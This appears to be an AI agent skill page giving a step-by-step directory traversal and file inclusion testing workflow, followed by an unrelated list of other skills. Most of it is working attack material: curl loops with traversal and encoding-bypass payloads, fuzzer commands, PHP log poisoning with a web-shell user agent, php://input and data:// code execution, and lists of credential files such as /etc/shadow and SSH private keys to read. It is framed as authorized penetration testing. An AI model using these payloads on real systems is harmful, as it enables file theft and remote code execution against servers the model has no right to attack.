performing-directory-traversal-testing
Testing web applications for path traversal vulnerabilities that allow reading or writing arbitrary files on the server by manipulating file path parameters.
What this skill does
# Performing Directory Traversal Testing
## When to Use
- During authorized penetration tests when the application handles file paths in URL parameters or request bodies
- When testing file download, file view, or file include functionality
- For assessing Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities
- When evaluating template engines, logging systems, or report generators that reference files
- During security assessments of APIs that accept file names or paths as parameters
## Prerequisites
- **Authorization**: Written penetration testing agreement for the target
- **Burp Suite Professional**: For intercepting and modifying file path parameters
- **ffuf**: For fuzzing file path parameters with traversal payloads
- **dotdotpwn**: Automated directory traversal fuzzer (`apt install dotdotpwn`)
- **SecLists**: Traversal payload wordlists from Daniel Miessler's collection
- **curl**: For manual testing of traversal payloads
## Workflow
### Step 1: Identify File Path Parameters
Find application endpoints that reference files through parameters.
```bash
# Common file-handling patterns to look for:
# /download?file=report.pdf
# /view?page=about.html
# /api/files?path=documents/invoice.pdf
# /template?name=header.html
# /include?module=sidebar
# /image?src=photos/avatar.jpg
# /export?format=csv&template=default
# In Burp Suite, search proxy history for file-related parameters
# Filter by parameter names: file, path, page, template, include,
# module, src, doc, document, folder, dir, name, filename
# Test with a known valid file to establish baseline
curl -s "https://target.example.com/download?file=report.pdf" -o /dev/null -w "%{http_code} %{size_download}"
# Try referencing a file that shouldn't be accessible
curl -s "https://target.example.com/download?file=../../../etc/passwd"
```
### Step 2: Test Basic Directory Traversal Payloads
Attempt to escape the intended directory and read sensitive files.
```bash
# Linux traversal payloads
PAYLOADS=(
"../../../etc/passwd"
"../../../../etc/passwd"
"../../../../../etc/passwd"
"../../../../../../etc/passwd"
"../../../../../../../etc/passwd"
"..%2f..%2f..%2fetc%2fpasswd"
"..%252f..%252f..%252fetc%252fpasswd"
"%2e%2e/%2e%2e/%2e%2e/etc/passwd"
"....//....//....//etc/passwd"
"..;/..;/..;/etc/passwd"
)
for payload in "${PAYLOADS[@]}"; do
echo -n "Testing: $payload -> "
response=$(curl -s "https://target.example.com/download?file=$payload")
if echo "$response" | grep -q "root:"; then
echo "VULNERABLE"
else
echo "Blocked"
fi
done
# Windows traversal payloads
WIN_PAYLOADS=(
"..\..\..\windows\win.ini"
"..%5c..%5c..%5cwindows%5cwin.ini"
"..\/..\/..\/windows/win.ini"
"....\\....\\....\\windows\\win.ini"
)
for payload in "${WIN_PAYLOADS[@]}"; do
echo -n "Testing: $payload -> "
curl -s "https://target.example.com/download?file=$payload" | head -c 100
echo
done
```
### Step 3: Apply Encoding and Filter Bypass Techniques
Use various encoding schemes to bypass input validation filters.
```bash
# URL encoding bypass
curl -s "https://target.example.com/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
# Double URL encoding
curl -s "https://target.example.com/download?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"
# UTF-8 encoding
curl -s "https://target.example.com/download?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd"
# Null byte injection (PHP < 5.3.4)
curl -s "https://target.example.com/download?file=../../../etc/passwd%00.pdf"
# Path truncation (Windows)
# Exceeding MAX_PATH (260 chars) to bypass extension checks
LONG_PATH="../../../etc/passwd"
for i in $(seq 1 200); do LONG_PATH="${LONG_PATH}/."; done
curl -s "https://target.example.com/download?file=$LONG_PATH"
# Case manipulation (Windows)
curl -s "https://target.example.com/download?file=..\..\..\..\WiNdOwS\win.ini"
# Dot-dot-slash variations
curl -s "https://target.example.com/download?file=....//....//....//etc/passwd"
curl -s "https://target.example.com/download?file=....//../../../etc/passwd"
# Using absolute path (if filter only blocks relative traversal)
curl -s "https://target.example.com/download?file=/etc/passwd"
```
### Step 4: Automate with ffuf and dotdotpwn
Use automated tools for comprehensive traversal testing.
```bash
# ffuf with traversal payload list
ffuf -u "https://target.example.com/download?file=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-mc 200 \
-fs 0 \
-t 20 -rate 50 \
-o traversal-results.json -of json
# dotdotpwn for systematic traversal testing
dotdotpwn -m http-url \
-u "https://target.example.com/download?file=TRAVERSAL" \
-k "root:" \
-o /tmp/dotdotpwn-results.txt \
-d 8 -t 200
# Burp Intruder approach:
# 1. Send request to Intruder
# 2. Mark the file parameter value as insertion point
# 3. Load LFI payload list from SecLists
# 4. Add Grep Match rules for: "root:", "[extensions]", "for 16-bit"
# 5. Start attack and review matches
```
### Step 5: Test Local File Inclusion (LFI) for Code Execution
If LFI is confirmed, attempt to escalate to remote code execution.
```bash
# PHP LFI to RCE via log poisoning
# Step 1: Inject PHP code into access log
curl -s -A "<?php system(\$_GET['cmd']); ?>" \
"https://target.example.com/"
# Step 2: Include the log file via LFI
curl -s "https://target.example.com/page?file=../../../var/log/apache2/access.log&cmd=id"
# PHP wrapper for file read (base64 encode to avoid parsing)
curl -s "https://target.example.com/page?file=php://filter/convert.base64-encode/resource=config.php"
# PHP wrapper for code execution
curl -s -X POST \
-d "<?php system('id'); ?>" \
"https://target.example.com/page?file=php://input"
# PHP data wrapper
curl -s "https://target.example.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg=="
# Include /proc/self/environ (if readable)
curl -s -A "<?php phpinfo(); ?>" \
"https://target.example.com/page?file=../../../proc/self/environ"
# Session file inclusion
# Write PHP code into session via another parameter
# Then include: /tmp/sess_<PHPSESSID>
```
### Step 6: Read High-Value Files
Target sensitive configuration and credential files.
```bash
# Linux high-value files
HIGH_VALUE_LINUX=(
"/etc/passwd"
"/etc/shadow"
"/etc/hosts"
"/etc/hostname"
"/proc/self/environ"
"/proc/self/cmdline"
"/var/www/html/.env"
"/var/www/html/config.php"
"/var/www/html/wp-config.php"
"/home/user/.ssh/id_rsa"
"/home/user/.bash_history"
"/root/.bash_history"
"/var/log/auth.log"
)
for file in "${HIGH_VALUE_LINUX[@]}"; do
traversal="../../../../../../..$file"
echo -n "$file: "
response=$(curl -s "https://target.example.com/download?file=$traversal")
if [ ${#response} -gt 10 ]; then
echo "READABLE (${#response} bytes)"
else
echo "Not accessible"
fi
done
# Windows high-value files
HIGH_VALUE_WIN=(
"C:\\Windows\\win.ini"
"C:\\Windows\\System32\\drivers\\etc\\hosts"
"C:\\inetpub\\wwwroot\\web.config"
"C:\\Users\\Administrator\\.ssh\\id_rsa"
"C:\\xampp\\apache\\conf\\httpd.conf"
"C:\\xampp\\mysql\\data\\mysql\\user.MYD"
)
```
## Key Concepts
| Concept | Description |
|---------|-------------|
| **Directory Traversal** | Using `../` sequences to navigate to parent directories and access files outside the intended path |
| **Local File Inclusion (LFI)** | Server-side inclusion of local files, potentially leading to code execution |
| **Remote File Inclusion (RFI)** | Including files from external URLs (requires `allow_url_include=On` in PHP) |
| **Null Byte Injection** | Using `%00` to truncate file paths, bypassing extension checks in older PHP versions |
| **PHP Wrappers** | Protocols like `php://filter`, `php://input`, `data://` for reading and executing files |
| **Log Poisoning** | Injecting code into log files and then including them via LFI for code execution |
| **Path Canonicalization** | The process of resolving relative paths to absolute paths, whicRelated in Writing & Docs
jax-development
IncludedUse this skill when the user is writing, debugging, profiling, refactoring, reviewing, benchmarking, parallelising, exporting, or explaining JAX code, or when they mention JAX, jax.numpy, jit, grad, value_and_grad, vmap, scan, lax, random keys, pytrees, jax.Array, sharding, Mesh, PartitionSpec, NamedSharding, pmap, shard_map, Pallas, XLA, StableHLO, checkify, profiler, or the JAX repo. It helps turn NumPy or PyTorch-style code into pure functional JAX, fix tracer/control-flow/shape/PRNG bugs, remove recompiles and host-device syncs, choose transforms and sharding strategies, inspect jaxpr/lowering/IR, and benchmark compiled code correctly.
nature-article-writer
IncludedDrafts, rewrites, diagnostically critiques, and style-calibrates primary research manuscripts for Nature and Nature Portfolio journals. Use when the user wants a Nature-style title, summary paragraph or abstract, introduction, results, discussion, methods, figure legends, presubmission enquiry, cover letter, reviewer response, or when a scientific draft sounds generic, jargon-heavy, structurally weak, or AI-ish and needs precise, broad-reader-friendly prose without inventing data, analyses, or references. Best for primary research articles and letters rather than reviews or press releases unless explicitly adapting one.
deckrd
IncludedDocument-driven framework that derives requirements, specifications, implementation plans, and executable tasks from goals through structured AI dialogue. Use when user says "write requirements", "create spec", "plan implementation", "derive tasks", "structure this feature", "break down into tasks", or "document this module". Also use for reverse engineering existing code into docs (/deckrd rev). Do NOT use for direct code writing — use /deckrd-coder after tasks are generated. Do NOT use when the user only wants to run or fix existing code without planning.
clinical-decision-support
IncludedGenerate professional clinical decision support (CDS) documents for pharmaceutical and clinical research settings, including patient cohort analyses (biomarker-stratified with outcomes) and treatment recommendation reports (evidence-based guidelines with decision algorithms). Supports GRADE evidence grading, statistical analysis (hazard ratios, survival curves, waterfall plots), biomarker integration, and regulatory compliance. Outputs publication-ready LaTeX/PDF format optimized for drug development, clinical research, and evidence synthesis.
handling-sf-data
IncludedSalesforce data operations with 130-point scoring. Use this skill to create, update, delete, bulk import/export, generate test data, and clean up org records using sf CLI and anonymous Apex. TRIGGER when: user creates test data, performs bulk import/export, uses sf data CLI commands, needs data factory patterns for Apex tests, or needs to seed/clean records in a Salesforce org. DO NOT TRIGGER when: SOQL query writing only (use querying-soql), Apex test execution (use running-apex-tests), or metadata deployment (use deploying-metadata).
accelint-ac-to-playwright
IncludedConvert and validate acceptance criteria for Playwright test automation. Use when user asks to (1) review/evaluate/check if AC are ready for automation, (2) assess if AC can be converted as-is, (3) validate AC quality for Playwright, (4) turn AC into tests, (5) generate tests from acceptance criteria, (6) convert .md bullets or .feature Gherkin files to Playwright specs, (7) create test automation from requirements. Handles both bullet-style markdown and Gherkin syntax with JSON test plan generation and validation.